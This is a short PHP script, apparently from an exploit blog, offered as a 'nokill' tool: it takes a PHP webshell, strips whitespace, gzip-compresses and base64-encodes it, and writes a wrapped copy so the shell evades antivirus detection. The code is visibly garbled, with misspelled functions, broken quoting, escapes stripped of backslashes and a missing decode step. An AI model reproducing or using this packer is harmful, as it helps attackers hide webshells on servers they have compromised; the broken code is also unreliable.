-
- /*
- タイトル: PHP シェル nokill T00L
- ブログ:exploit-db.blogcn.com
- */
- error_reporting(0);
- @ini_set('memory_limit','-1' );
- set_time_limit(0);
- $toolname="$argv[0]";
- if ($argc<2) {
- baner($toolname);
- die;
- }
- $input_file=rim($argv[ 1]);
- $output_file='nokill_'.$input_file;
- if (file_exists($input_file)) {
- No_kill_c0de($input_file,$output_file);
- echo "PHP シェル nokill T00Lrn";
- echo "ブログ: エクスプロイト-db.blogcn.comrn";
- echo "入力: {$input_file}rn";
- $file_full_path=dirname(__FILE__).DIRECTORY_SEPARATOR.$output_file;
- echo "[+] 生成成功!rn";
- echo "保存しましたto {$file_full_path}"."rn";
- } else {
- echo "PHP シェル nokill T00Lrn";
- echo "ブログ:exploit-db.blogcn.comrn";
- die("[-] 失敗しました ! ファイル $ input_file が存在しません");
- }
- function No_kill_c0de($input_file,$output_file){
- $no_whitespace=php_strip_whitespace($input_file);
- $no_php_tag=trim(trim(trim($no_whitespace,'');
- $enfile=base64_encode(gzdeflate($no_php_tag));
- $shellcode="x3cx3fx70x68x70xdxa";
- $shellcode.='$enfile='.'"' ."{$enfile}".'"'.';'."xdxa";
- $shellcode.="";
- $shellcode.="x3fx3e";
- file_put_contents("$output_file",$shellcode);
- }
- function baner($toolname){
- echo "PHP シェル nokill T00Lrn";
- echo "ブログ:exploit-db.blogcn.comrn";
- echo "使用法: {$toolname} phpwebshellrn";
- }
- ?>
复制代
|